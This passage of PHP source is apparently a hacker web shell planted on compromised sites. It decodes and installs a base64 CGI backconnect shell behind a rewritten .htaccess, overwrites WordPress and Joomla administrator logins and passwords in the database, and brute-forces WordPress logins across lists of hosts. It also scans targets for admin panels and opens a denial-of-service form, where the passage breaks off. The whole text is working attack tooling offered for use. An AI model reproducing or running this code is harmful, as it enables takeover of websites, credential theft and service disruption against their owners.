XNlciB3YW50cyB0byBiYWNrIGNvbm5lY3Qgb3IgYmluZCBwb3J0CnsKCSZQcmludFBhZ2VIZWFkZXIoImNsaWVudHBvcnQiKTsKCXByaW50ICZCYWNrQmluZDsKfQplbHNpZigkQWN0aW9uIGVxICJicnV0ZWZvcmNlciIpIAkJCSMgdXNlciB3YW50cyB0byBicnV0ZSBmb3JjZQp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJkJydXRlRm9yY2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAiZG93bmxvYWQiKSAJCQkJIyB1c2VyIHdhbnRzIHRvIGRvd25sb2FkIGEgZmlsZQp7CglwcmludCAmRG93bmxvYWRGaWxlOwp9ZWxzaWYoJEFjdGlvbiBlcSAiY2hlY2tsb2ciKSAJCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbG9nIGZpbGUKewoJJlByaW50UGFnZUhlYWRlcjsKCXByaW50ICZWaWV3TG9nOwoKfWVsc2lmKCRBY3Rpb24gZXEgImRvbWFpbnN1c2VyIikgCQkJIyB1c2VyIHdhbnRzIHRvIHZpZXcgbGlzdCB1c2VyL2RvbWFpbgp7CgkmUHJpbnRQYWdlSGVhZGVyOwoJcHJpbnQgJlZpZXdEb21haW5Vc2VyOwp9ZWxzaWYoJEFjdGlvbiBlcSAibG9nb3V0IikgCQkJCSMgdXNlciB3YW50cyB0byBsb2dvdXQKewoJJlBlcmZvcm1Mb2dvdXQ7Cn0KJlByaW50UGFnZUZvb3Rlcjs=\';\r\n\r\n$file = fopen("cgi2012.izo" ,"w+");\r\n$write = fwrite ($file ,base64_decode($cgi2012));\r\nfclose($file);\r\n    chmod("cgi2012.izo",0755);\r\n   echo " <iframe src=cgi2012/cgi2012.izo width=96% height=76% frameborder=0></iframe>\r\n \r\n </div>"; }\r\n \r\n ///////////////////////////////////////////////////////////////////////////\r\n \r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'config\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=config" method="post">\r\n\r\n<?php\r\n\r\necho "<center/><br/><b><font color=#00ff00>+--==[ Config Shell Priv8 SCR ]==--+</font></b><br><br>";\r\n\r\n  mkdir(\'config\', 0755);\r\n    chdir(\'config\');\r\n        $kokdosya = ".htaccess";\r\n        $dosya_adi = "$kokdosya";\r\n        $dosya = fopen ($dosya_adi , \'w\') or die ("Error cuyy!");\r\n        $metin = "Options FollowSymLinks MultiViews Indexes ExecCGI\r\n\t\t\r\nAddType application/x-httpd-cgi .cpc\r\n\r\nAddHandler cgi-script .izo\r\nAddHandler cgi-script .izo";    \r\n        fwrite ( $dosya , $metin ) ;\r\n        fclose ($dosya);\r\n\r\n$file = fopen("config.izo" ,"w+");\r\n$write = fwrite ($file ,base64_decode($configshell));\r\nfclose($file);\r\n    chmod("config.izo",0755);\r\n   echo "<iframe src=config/config.izo width=97% height=100% frameborder=0></iframe>\r\n   </div>"; \r\n}\r\n/////////////////////////////////////////////////////////////////////////\r\n\r\n\r\n///////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'wp-reset\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=wp-reset" method="post">\r\n\r\n<?php\r\n\r\necho "<center/><br/><b><font color=#00ff00>+--==[  Wordpress Reset Password  ]==--+</font></b><br><br>";\r\n  \r\n  if(empty($_POST[\'pwd\'])){\r\n  \r\necho "<FORM method=\'POST\'>\r\n<table class=\'tabnet\' style=\'width:300px;\'> <tr><th colspan=\'2\'>Connect to mySQL server</th></tr> <tr><td>&nbsp;&nbsp;Hostname</td><td>\r\n<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'localhost\' value=\'localhost\' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>\r\n<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'database\' value=\'wp-\' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>\r\n<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'username\' value=\'wp-\' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>\r\n<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'password\' value=\'**\' /></td></tr>\r\n<tr><td>&nbsp;&nbsp;User baru</td><td>\r\n<input style=\'width:220px;\' class=\'inputz\' type=\'text\' name=\'admin\' value=\'admin\' /></td></tr>\r\n <tr><td>&nbsp;&nbsp;Pass Baru</td><td>\r\n<input style=\'width:80px;\' class=\'inputz\' type=\'text\' name=\'pwd\' value=\'123456\' />&nbsp;\r\n\r\n<input style=\'width:19%;\' class=\'inputzbut\' type=\'submit\' value=\'change!\' name=\'send\' /></FORM>\r\n</td></tr> </table><br><br><br><br>\r\n";\r\n}else{\r\n$localhost = $_POST[\'localhost\'];\r\n$database  = $_POST[\'database\'];\r\n$username  = $_POST[\'username\'];\r\n$password  = $_POST[\'password\'];\r\n$pwd   = $_POST[\'pwd\'];\r\n$admin = $_POST[\'admin\'];\r\n\r\n\r\n @mysql_connect($localhost,$username,$password) or die(mysql_error());\r\n @mysql_select_db($database) or die(mysql_error());\r\n\r\n$hash = crypt($pwd);\r\n$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 1") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 1") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 2") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 2") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_login =\'".$admin."\' WHERE ID = 3") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_pass =\'".$hash."\' WHERE ID = 3") or die(mysql_error());\r\n$a4s=@mysql_query("UPDATE wp_users SET user_email =\'".$SQL."\' WHERE ID = 1") or die(mysql_error());\r\n\r\n\r\nif($a4s){\r\necho "<b> Success ..!! :)) sekarang bisa login ke wp-admin</b> ";\r\n}\r\n\r\n}\r\n  \r\n  \r\n  echo "\r\n   </div>"; }\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'jm-reset\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=jm-reset" method="post">\r\n\r\n<?php\r\n\r\necho "<center/><br/><b><font color=#00ff00>+--==[  Joomla Reset Password ]==--+</font></b><br><br>";\r\n\tif(empty($_POST[\'pwd\'])){\r\necho "<FORM method=\'POST\'><table class=\'tabnet\' style=\'width:300px;\'> <tr><th colspan=\'2\'>Connect to mySQL </th></tr> <tr><td>&nbsp;&nbsp;Host</td><td>\r\n<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'localhost\' value=\'localhost\' /></td></tr> <tr><td>&nbsp;&nbsp;Database</td><td>\r\n<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'database\' value=\'database\' /></td></tr> <tr><td>&nbsp;&nbsp;username</td><td>\r\n<input style=\'width:270px;\' class=\'inputz\' type=\'text\' name=\'username\' value=\'db_user\' /></td></tr> <tr><td>&nbsp;&nbsp;password</td><td>\r\n<input style=\'width:270px;\' class=\'inputz\' type=\'password\' name=\'password\' value=\'**\' /></td></tr>\r\n<tr><td>&nbsp;&nbsp;User baru</td><td>\r\n<input style=\'width:270px;\' class=\'inputz\' name=\'admin\' value=\'admin\' /></td></tr>\r\n <tr><td>&nbsp;&nbsp;pass baru </td><td>123456 = \r\n<input style=\'width:130px;\' class=\'inputz\' name=\'pwd\' value=\'e10adc3949ba59abbe56e057f20f883e\' />&nbsp;\r\n\r\n<input style=\'width:23%;\' class=\'inputzbut\' type=\'submit\' value=\'change!\' name=\'send\' /></FORM>\r\n</td></tr> </table><br><br><br><br>\r\n";\r\n}else{\r\n$localhost = $_POST[\'localhost\'];\r\n$database  = $_POST[\'database\'];\r\n$username  = $_POST[\'username\'];\r\n$password  = $_POST[\'password\'];\r\n$pwd   = $_POST[\'pwd\'];\r\n$admin = $_POST[\'admin\'];\r\n@mysql_connect($localhost,$username,$password) or die(mysql_error());\r\n@mysql_select_db($database) or die(mysql_error());\r\n$hash = crypt($pwd);\r\n$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 62") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 62") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 63") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 63") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 64") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 64") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET username =\'".$admin."\' WHERE ID = 65") or die(mysql_error());\r\n$SQL=@mysql_query("UPDATE jos_users SET password =\'".$pwd."\' WHERE ID = 65") or die(mysql_error());\r\nif($SQL){\r\necho "<b>Success : skarang password barunya >>> - (123456)";\r\n}\r\n}\r\n\t\r\n  echo "\r\n   </div>"; \r\n} \r\n//////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'adfin\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=adfin" method="post">\r\n\r\n<?php\r\nset_time_limit(0);\r\nerror_reporting(0);\r\n$list[\'front\'] ="admin\r\nadm\r\nadmincp\r\nadmcp\r\ncp\r\nmodcp\r\nmoderatorcp\r\nadminare\r\nadmins\r\ncpanel\r\ncontrolpanel";\r\n$list[\'end\'] = "admin1.php\r\nadmin1.html\r\nadmin2.php\r\nadmin2.html\r\nyonetim.php\r\nyonetim.html\r\nyonetici.php\r\nyonetici.html\r\nccms/\r\nccms/login.php\r\nccms/index.php\r\nmaintenance/\r\nwebmaster/\r\nadm/\r\nconfiguration/\r\nconfigure/\r\nwebsvn/\r\nadmin/\r\nadmin/account.php\r\nadmin/account.html\r\nadmin/index.php\r\nadmin/index.html\r\nadmin/login.php\r\nadmin/login.html\r\nadmin/home.php\r\nadmin/controlpanel.html\r\nadmin/controlpanel.php\r\nadmin.php\r\nadmin.html\r\nadmin/cp.php\r\nadmin/cp.html\r\ncp.php\r\ncp.html\r\nadministrator/\r\nadministrator/index.html\r\nadministrator/index.php\r\nadministrator/login.html\r\nadministrator/login.php\r\nadministrator/account.html\r\nadministrator/account.php\r\nadministrator.php\r\nadministrator.html\r\nlogin.php\r\nlogin.html\r\nmodelsearch/login.php\r\nmoderator.php\r\nmoderator.html\r\nmoderator/login.php\r\nmoderator/login.html\r\nmoderator/admin.php\r\nmoderator/admin.html\r\nmoderator/\r\naccount.php\r\naccount.html\r\ncontrolpanel/\r\ncontrolpanel.php\r\ncontrolpanel.html\r\nadmincontrol.php\r\nadmincontrol.html\r\nadminpanel.php\r\nadminpanel.html\r\nadmin1.asp\r\nadmin2.asp\r\nyonetim.asp\r\nyonetici.asp\r\nadmin/account.asp\r\nadmin/index.asp\r\nadmin/login.asp\r\nadmin/home.asp\r\nadmin/controlpanel.asp\r\nadmin.asp\r\nadmin/cp.asp\r\ncp.asp\r\nadministrator/index.asp\r\nadministrator/login.asp\r\nadministrator/account.asp\r\nadministrator.asp\r\nlogin.asp\r\nmodelsearch/login.asp\r\nmoderator.asp\r\nmoderator/login.asp\r\nmoderator/admin.asp\r\naccount.asp\r\ncontrolpanel.asp\r\nadmincontrol.asp\r\nadminpanel.asp\r\nfileadmin/\r\nfileadmin.php\r\nfileadmin.asp\r\nfileadmin.html\r\nadministration/\r\nadministration.php\r\nadministration.html\r\nsysadmin.php\r\nsysadmin.html\r\nphpmyadmin/\r\nmyadmin/\r\nsysadmin.asp\r\nsysadmin/\r\nur-admin.asp\r\nur-admin.php\r\nur-admin.html\r\nur-admin/\r\nServer.php\r\nServer.html\r\nServer.asp\r\nServer/\r\nwp-admin/\r\nadministr8.php\r\nadministr8.html\r\nadministr8/\r\nadministr8.asp\r\nwebadmin/\r\nwebadmin.php\r\nwebadmin.asp\r\nwebadmin.html\r\nadministratie/\r\nadmins/\r\nadmins.php\r\nadmins.asp\r\nadmins.html\r\nadministrivia/\r\nDatabase_Administration/\r\nWebAdmin/\r\nuseradmin/\r\nsysadmins/\r\nadmin1/\r\nsystem-administration/\r\nadministrators/\r\npgadmin/\r\ndirectadmin/\r\nstaradmin/\r\nServerAdministrator/\r\nSysAdmin/\r\nadminister/\r\nLiveUser_Admin/\r\nsys-admin/\r\ntypo3/\r\npanel/\r\ncpanel/\r\ncPanel/\r\ncpanel_file/\r\nplatz_login/\r\nrcLogin/\r\nblogindex/\r\nformslogin/\r\nautologin/\r\nsupport_login/\r\nmeta_login/\r\nmanuallogin/\r\nsimpleLogin/\r\nloginflat/\r\nutility_login/\r\nshowlogin/\r\nmemlogin/\r\nmembers/\r\nlogin-redirect/\r\nsub-login/\r\nwp-login/\r\nlogin1/\r\ndir-login/\r\nlogin_db/\r\nxlogin/\r\nsmblogin/\r\ncustomer_login/\r\nUserLogin/\r\nlogin-us/\r\nacct_login/\r\nadmin_area/\r\nbigadmin/\r\nproject-admins/\r\nphppgadmin/\r\npureadmin/\r\nsql-admin/\r\nradmind/\r\nopenvpnadmin/\r\nwizmysqladmin/\r\nvadmind/\r\nezsqliteadmin/\r\nhpwebjetadmin/\r\nnewsadmin/\r\nadminpro/\r\nLotus_Domino_Admin/\r\nbbadmin/\r\nvmailadmin/\r\nIndy_admin/\r\nccp14admin/\r\nirc-macadmin/\r\nbanneradmin/\r\nsshadmin/\r\nphpldapadmin/\r\nmacadmin/\r\nadministratoraccounts/\r\nadmin4_account/\r\nadmin4_colon/\r\nradmind-1/\r\nSuper-Admin/\r\nAdminTools/\r\ncmsadmin/\r\nSysAdmin2/\r\nglobes_admin/\r\ncadmins/\r\nphpSQLiteAdmin/\r\nnavSiteAdmin/\r\nserver_admin_small/\r\nlogo_sysadmin/\r\nserver/\r\ndatabase_administration/\r\npower_user/\r\nsystem_administration/\r\nss_vms_admin_sm/\r\nadminarea/\r\nbb-admin/\r\nadminLogin/\r\npanel-administracion/\r\ninstadmin/\r\nmemberadmin/\r\nadministratorlogin/\r\nadmin/admin.php\r\nadmin_area/admin.php\r\nadmin_area/login.php\r\nsiteadmin/login.php\r\nsiteadmin/index.php\r\nsiteadmin/login.html\r\nadmin/admin.html\r\nadmin_area/index.php\r\nbb-admin/index.php\r\nbb-admin/login.php\r\nbb-admin/admin.php\r\nadmin_area/login.html\r\nadmin_area/index.html\r\nadmincp/index.asp\r\nadmincp/login.asp\r\nadmincp/index.html\r\nwebadmin/index.html\r\nwebadmin/admin.html\r\nwebadmin/login.html\r\nadmin/admin_login.html\r\nadmin_login.html\r\npanel-administracion/login.html\r\nnsw/admin/login.php\r\nwebadmin/login.php\r\nadmin/admin_login.php\r\nadmin_login.php\r\nadmin_area/admin.html\r\npages/admin/admin-login.php\r\nadmin/admin-login.php\r\nadmin-login.php\r\nbb-admin/index.html\r\nbb-admin/login.html\r\nbb-admin/admin.html\r\nadmin/home.html\r\npages/admin/admin-login.html\r\nadmin/admin-login.html\r\nadmin-login.html\r\nadmin/adminLogin.html\r\nadminLogin.html\r\nhome.html\r\nrcjakar/admin/login.php\r\nadminarea/index.html\r\nadminarea/admin.html\r\nwebadmin/index.php\r\nwebadmin/admin.php\r\nuser.html\r\nmodelsearch/login.html\r\nadminarea/login.html\r\npanel-administracion/index.html\r\npanel-administracion/admin.html\r\nmodelsearch/index.html\r\nmodelsearch/admin.html\r\nadmincontrol/login.html\r\nadm/index.html\r\nadm.html\r\nuser.php\r\npanel-administracion/login.php\r\nwp-login.php\r\nadminLogin.php\r\nadmin/adminLogin.php\r\nhome.php\r\nadminarea/index.php\r\nadminarea/admin.php\r\nadminarea/login.php\r\npanel-administracion/index.php\r\npanel-administracion/admin.php\r\nmodelsearch/index.php\r\nmodelsearch/admin.php\r\nadmincontrol/login.php\r\nadm/admloginuser.php\r\nadmloginuser.php\r\nadmin2/login.php\r\nadmin2/index.php\r\nadm/index.php\r\nadm.php\r\naffiliate.php\r\nadm_auth.php\r\nmemberadmin.php\r\nadministratorlogin.php\r\nadmin/admin.asp\r\nadmin_area/admin.asp\r\nadmin_area/login.asp\r\nadmin_area/index.asp\r\nbb-admin/index.asp\r\nbb-admin/login.asp\r\nbb-admin/admin.asp\r\npages/admin/admin-login.asp\r\nadmin/admin-login.asp\r\nadmin-login.asp\r\nuser.asp\r\nwebadmin/index.asp\r\nwebadmin/admin.asp\r\nwebadmin/login.asp\r\nadmin/admin_login.asp\r\nadmin_login.asp\r\npanel-administracion/login.asp\r\nadminLogin.asp\r\nadmin/adminLogin.asp\r\nhome.asp\r\nadminarea/index.asp\r\nadminarea/admin.asp\r\nadminarea/login.asp\r\npanel-administracion/index.asp\r\npanel-administracion/admin.asp\r\nmodelsearch/index.asp\r\nmodelsearch/admin.asp\r\nadmincontrol/login.asp\r\nadm/admloginuser.asp\r\nadmloginuser.asp\r\nadmin2/login.asp\r\nadmin2/index.asp\r\nadm/index.asp\r\nadm.asp\r\naffiliate.asp\r\nadm_auth.asp\r\nmemberadmin.asp\r\nadministratorlogin.asp\r\nsiteadmin/login.asp\r\nsiteadmin/index.asp\r\nADMIN/\r\npaneldecontrol/\r\nlogin/\r\ncms/\r\nadmon/\r\nADMON/\r\nadministrador/\r\nADMIN/login.php\r\npanelc/\r\nADMIN/login.html";\r\nfunction template() {\r\necho \'\r\n\r\n<script type="text/javascript">\r\n<!--\r\nfunction insertcode($text, $place, $replace)\r\n{\r\n    var $this = $text;\r\n    var logbox = document.getElementById($place);\r\n    if($replace == 0)\r\n        document.getElementById($place).innerHTML = logbox.innerHTML+$this;\r\n    else\r\n        document.getElementById($place).innerHTML = $this;\r\n//document.getElementById("helpbox").innerHTML = $this;\r\n}\r\n-->\r\n</script>\r\n<br>\r\n<br>\r\n<h1 class="technique-two">\r\n       \r\n\r\n\r\n</h1>\r\n\r\n<div class="wrapper">\r\n<div class="red">\r\n<div class="tube">\r\n<center><table class="tabnet"><th colspan="2">Admin Finder</th><tr><td>\r\n<form action="" method="post" name="xploit_form">\r\n\r\n<tr>\r\n<tr>\r\n\t<b><td>URL</td>\r\n\t<td><input class="inputz" type="text" name="xploit_url" value="\'.$_POST[\'xploit_url\'].\'" style="width: 350px;" />\r\n\t</td>\r\n</tr><tr>\r\n\t<td>404 string</td>\r\n\t<td><input class="inputz" type="text" name="xploit_404string" value="\'.$_POST[\'xploit_404string\'].\'" style="width: 350px;" />\r\n\t</td></b>\r\n</tr><br><td>\r\n<span style="float: center;"><input class="inputzbut" type="submit" name="xploit_submit" value=" Start Scan" align="center" />\r\n</span></td></tr>\r\n</form></td></tr>\r\n<br /></table>\r\n</div> <!-- /tube -->\r\n</div> <!-- /red -->\r\n<br />\r\n<div class="green">\r\n<div class="tube" id="rightcol">\r\nVerificat: <span id="verified">0</span> / <span id="total">0</span><br />\r\n<b>Found ones:<br /></b>\r\n</div> <!-- /tube -->\r\n</div></center><!-- /green -->\r\n<br clear="all" /><br />\r\n<div class="blue">\r\n<div class="tube" id="logbox">\r\n<br />\r\n<br />\r\nAdmin page Finder :<br /><br />\r\n</div> <!-- /tube -->\r\n</div> <!-- /blue -->\r\n</div> <!-- /wrapper -->\r\n<br clear="all"><br>\';\r\n}\r\nfunction show($msg, $br=1, $stop=0, $place=\'logbox\', $replace=0) {\r\n    if($br == 1) $msg .= "<br />";\r\n    echo "<script type=\\"text/javascript\\">insertcode(\'".$msg."\', \'".$place."\', \'".$replace."\');</script>";\r\n    if($stop == 1) exit;\r\n    @flush();@ob_flush();\r\n}\r\nfunction check($x, $front=0) {\r\n    global $_POST,$site,$false;\r\n    if($front == 0) $t = $site.$x;\r\n    else $t = \'http://\'.$x.\'.\'.$site.\'/\';\r\n    $headers = get_headers($t);\r\n    if (!eregi(\'200\', $headers[0])) return 0;\r\n    $data = @file_get_contents($t);\r\n    if($_POST[\'xploit_404string\'] == "") if($data == $false) return 0;\r\n    if($_POST[\'xploit_404string\'] != "") if(strpos($data, $_POST[\'xploit_404string\'])) return 0;\r\n    return 1;\r\n}\r\n   \r\n// --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------\r\ntemplate();\r\nif(!isset($_POST[\'xploit_url\'])) die;\r\nif($_POST[\'xploit_url\'] == \'\') die;\r\n$site = $_POST[\'xploit_url\'];\r\nif ($site[strlen($site)-1] != "/") $site .= "/";\r\nif($_POST[\'xploit_404string\'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");\r\n$list[\'end\'] = str_replace("\\r", "", $list[\'end\']);\r\n$list[\'front\'] = str_replace("\\r", "", $list[\'front\']);\r\n$pathes = explode("\\n", $list[\'end\']);\r\n$frontpathes = explode("\\n", $list[\'front\']);\r\nshow(count($pathes)+count($frontpathes), 1, 0, \'total\', 1);\r\n$verificate = 0;\r\nforeach($pathes as $path) {\r\n    show(\'Checking \'.$site.$path.\' : \', 0, 0, \'logbox\', 0);\r\n    $verificate++; show($verificate, 0, 0, \'verified\', 1);\r\n    if(check($path) == 0) show(\'not found\', 1, 0, \'logbox\', 0);\r\n    else{\r\n        show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);\r\n        show(\'<a href="\'.$site.$path.\'">\'.$site.$path.\'</a>\', 1, 0, \'rightcol\', 0);\r\n    }\r\n}\r\npreg_match("/\\/\\/(.*?)\\//i", $site, $xx); $site = $xx[1];\r\nif(substr($site, 0, 3) == "www") $site = substr($site, 4);\r\nforeach($frontpathes as $frontpath) {\r\n    show(\'Checking http://\'.$frontpath.\'.\'.$site.\'/ : \', 0, 0, \'logbox\', 0);\r\n    $verificate++; show($verificate, 0, 0, \'verified\', 1);\r\n    if(check($frontpath, 1) == 0) show(\'not found\', 1, 0, \'logbox\', 0);\r\n    else{\r\n        show(\'<span style="color: #00FF00;"><strong>found</strong></span>\', 1, 0, \'logbox\', 0);\r\n        show(\'<a href="http://\'.$frontpath.\'.\'.$site.\'/">\'.$frontpath.\'.\'.$site.\'</a>\', 1, 0, \'rightcol\', 0);\r\n    }\r\n   \r\n}\r\n}\r\n//////////////////////////////////////////////////////////////////////////////\r\n\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'wpbrute\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=wpbrute" method="post">\r\n<center>\r\n<br><Br><b><font size=\'2\' >+--=[ Wordpress Brute Force ]=--+</font><br>\r\n<center><p>Tanks To <a href="https://www.facebook.com/anton115" target="_blank">Cah_bagus</a></p></b></center>\r\n<form enctype="multipart/form-data" method="POST">\r\n  <table width=\'624\' border=\'0\' class=\'tabnet\' id=\'Box\'>\r\n  <tr><th colspan="5">Wordpress Brute Force</th></tr>\r\n    \r\n\r\n    <tr>\r\n      <td >&nbsp;</td>\r\n      <td ><p>Hosts:</p></td>\r\n      <td ><p> Users:</p></td>\r\n      <td ><p>Passwords:</p></td>\r\n    </tr>\r\n    <tr>\r\n      <td>&nbsp;</td>\r\n      <td ><textarea style="background:black;" name="hosts" cols="30" rows="10" ><?php if($_POST){echo $_POST[\'hosts\'];} ?></textarea></td>\r\n      <td ><textarea style="background:black;" name="usernames" cols="30" rows="10"  ><?php if($_POST){echo $_POST[\'usernames\'];}else {echo "admin";} ?></textarea></td>\r\n      <td ><textarea style="background:black;" name="passwords" cols="30" rows="10"  ><?php if($_POST){echo $_POST[\'passwords\'];}else {echo "admin\\nadministrator\\n123123\\n123321\\n123456\\n1234567\\n12345678\\n123456789\\n123456123456\\nadmin2010\\nadmin2011\\npassword\\nP@ssW0rd\\n!@#$%^\\n!@#$%^&*(\\n(*&^%$#@!\\n111111\\n222222\\n333333\\n444444\\n555555\\n666666\\n777777\\n888888\\n999999";} ?></textarea></td>\r\n    </tr>\r\n<tr><td colspan="4"><input class=\'inputzbut\' type="submit" name="submit" value="Brute Now"  />\r\n<?php\r\nif($_POST)\r\n{\r\n\t$hosts = trim(filter($_POST[\'hosts\']));\r\n\t$passwords = trim(filter($_POST[\'passwords\']));\r\n\t$usernames = trim(filter($_POST[\'usernames\']));\r\n\r\n\tif($passwords && $usernames && $hosts)\r\n\t{\r\n\t\t$hosts_explode = explode("\\n", $hosts);\r\n\t\t$usernames_explode = explode("\\n", $usernames);\r\n    \t$passwords_explode = explode("\\n", $passwords);\r\n\r\n\t\tforeach($hosts_explode as $host)\r\n\t\t{\r\n\t\t\t$host = RemoveLastSlash($host);\r\n\t\t\t$hacked = 0;\r\n\t\t\t$host = str_replace(array("http://","https://","www."),"",trim($host));\r\n\t\t\t$host = "http://".$host;\r\n\t\t\t$wpAdmin = $host.\'/wp-admin/\';\r\n\r\n\t\t\tif(!url_exists($host."/wp-login.php"))\r\n\t\t\t{echo "<p>".$host." => <font color=\'red\'>Error In Login Page !</font></p>";ob_flush();flush();continue;}\r\n\r\n\t\t\tforeach($usernames_explode as $username)\r\n\t\t\t{\r\n\t\t\t\tforeach($passwords_explode as $password)\r\n\t\t\t\t{\r\n\t\t\t\t\t$ch   =     curl_init();\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_RETURNTRANSFER,1);\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_URL,$host.\'/wp-login.php\');\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_COOKIEJAR,"coki.txt");\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_COOKIEFILE,"coki.txt");\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_FOLLOWLOCATION,1);\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_POST,TRUE);\r\n\t\t\t\t\tcurl_setopt($ch,CURLOPT_POSTFIELDS,"log=".$username."&pwd=".$password."&wp-submit=Giri&#8207;"."&redirect_to=".$wpAdmin."&testcookie=1");\r\n\t\t\t\t\t$login    =\t   curl_exec($ch);\r\n\r\n\t\t\t\t\tif(eregi ("profile.php",$login) )\r\n\t\t\t\t\t{\r\n\t\t\t\t\t\t$hacked = 1;\r\n\t\t\t\t\t\techo "<p>".$host." => UserName : [<font color=\'green\'>".$username."</font>] : Password : [<font color=\'green\'>".$password."</font>]</p>";\r\n\t\t\t\t\t\tob_flush();flush();break;\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t\tif($hacked == 1){break;}\r\n\t\t\t}\r\n\t\t\tif($hacked == 0)\r\n\t\t\t{echo "<p>".$host." => <font color=\'red\'>Failed !</font></p>";ob_flush();flush();}\r\n\t\t}\r\n\t}\r\n\telse {echo "<p><font color=\'red\'>All fields are Required ! </font></p>";}\r\n}\r\n?>\r\n</td></tr>\r\n</table></form></center>\r\n<?php\r\nfunction url_exists($strURL)\r\n{\r\n    $resURL = curl_init();\r\n    curl_setopt($resURL, CURLOPT_URL, $strURL);\r\n    curl_setopt($resURL, CURLOPT_BINARYTRANSFER, 1);\r\n    curl_setopt($resURL, CURLOPT_HEADERFUNCTION, \'curlHeaderCallback\');\r\n    curl_setopt($resURL, CURLOPT_FAILONERROR, 1);\r\n    curl_exec ($resURL);\r\n    $intReturnCode = curl_getinfo($resURL, CURLINFO_HTTP_CODE);\r\n    curl_close ($resURL);\r\n    if ($intReturnCode != 200){return false;}\r\n\telse{return true ;}\r\n}\r\nfunction filter($string)\r\n{\r\n\tif(get_magic_quotes_gpc() != 0){return stripslashes($string);\t}\r\n\telse{return $string;\t}\r\n}\r\nfunction RemoveLastSlash($host)\r\n{\r\n\tif(strrpos($host, \'/\', -1) == strlen($host)-1)\r\n\t{return substr($host,0,strrpos($host, \'/\', -1));}\r\n\telse{return $host;}\r\n}\r\necho "</p>";\r\n}\r\n\r\n\r\n//////////////////////////////////////////////////////////////////////////////\r\nelseif(isset($_GET[\'x\']) && ($_GET[\'x\'] == \'dos\'))\r\n{\t\r\n?>\r\n<form action="?y=<?php echo $pwd; ?>&amp;x=dos" method="post">\r\n<center><br><br><br>\r\nYour IP: <font color="red"><b><?php echo $my_ip; ?></b></font>&nbsp;(Don\'t DoS yourself nub)<br><br>\r\n<table class="tabnet" style="width:333px;padding:0 1px;">\r\n<th colspan="5">Ddos Tool</th>\r\n<tr><tr><td>IP Target</td><td>:</td>\r\n<td><input type="text" class="inputz" name="ip" size="48" maxlength="25"  value = "0.0.0.0" onblur = "if ( this.value==\'\' ) this.value = \'0.0.0.0\';" onfocus = " if ( this.value == \'0.0.0.0\' ) this.value = \'\';"/>\r\n</td></tr>\r\n<tr><td>Time</td><td>:</td>\r\n<td><input type="text" class="inputz" name="time" size="48" maxlength="25"  value = "time (in seconds)" onblur = "if ( this.value==\'\' ) this.value = \'time (in seconds)\';" onfocus = " if ( this.value == \'time (in seconds)\' ) this.value = \'\';"/>\r\n</td></tr>\r\n\r\n<tr><td>Port</td><td>:</td>\r\n<td><input type="text" class="inputz" name="port" size="48" maxlength="5"  value = "port" onblur = "if ( this.value==\'\' ) this.value = \'port\';" onfocus = " if ( this.value == \'port\' ) this.value = \'\';"/>\r\n</td></tr></tr></table></b><br>\r\n<input type="submit" class="inputzbut" name="fire" value="  Firee !!!   ">\r\n<br><br>\r\n<center>\r\nAfter initiating the DoS attack, please wait while the browser loads.\r\n</center>\r\n\r\n</form>\r\n</center>\r\n<?php\r\n$submit = 